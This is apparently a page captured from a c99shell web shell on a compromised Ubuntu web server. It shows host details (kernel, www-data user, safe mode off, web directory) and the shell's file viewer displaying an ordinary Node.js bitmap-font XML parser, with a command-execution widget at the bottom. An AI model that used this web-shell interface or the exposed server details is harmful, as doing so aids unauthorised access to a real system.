Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/invoice_pdf/node_modules/parse-bmfont-xml/lib/ drwxr-xr-x | |
| Viewing file: Select action/file-type: var xml2js = require('xml2js')
var parseAttributes = require('./parse-attribs')
module.exports = function parseBMFontXML(data) {
data = data.toString().trim()
var output = {
pages: [],
chars: [],
kernings: []
}
xml2js.parseString(data, function(err, result) {
if (err)
throw err
if (!result.font)
throw "XML bitmap font doesn't have <font> root"
result = result.font
output.common = parseAttributes(result.common[0].$)
output.info = parseAttributes(result.info[0].$)
for (var i = 0; i < result.pages.length; i++) {
var p = result.pages[i].page[0].$
if (typeof p.id === "undefined")
throw new Error("malformed file -- needs page id=N")
if (typeof p.file !== "string")
throw new Error("malformed file -- needs page file=\"path\"")
output.pages[parseInt(p.id, 10)] = p.file
}
if (result.chars) {
var chrArray = result.chars[0]['char'] || []
for (var i = 0; i < chrArray.length; i++) {
output.chars.push(parseAttributes(chrArray[i].$))
}
}
if (result.kernings) {
var kernArray = result.kernings[0]['kerning'] || []
for (var i = 0; i < kernArray.length; i++) {
output.kernings.push(parseAttributes(kernArray[i].$))
}
}
})
return output
}
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0184 ]-- |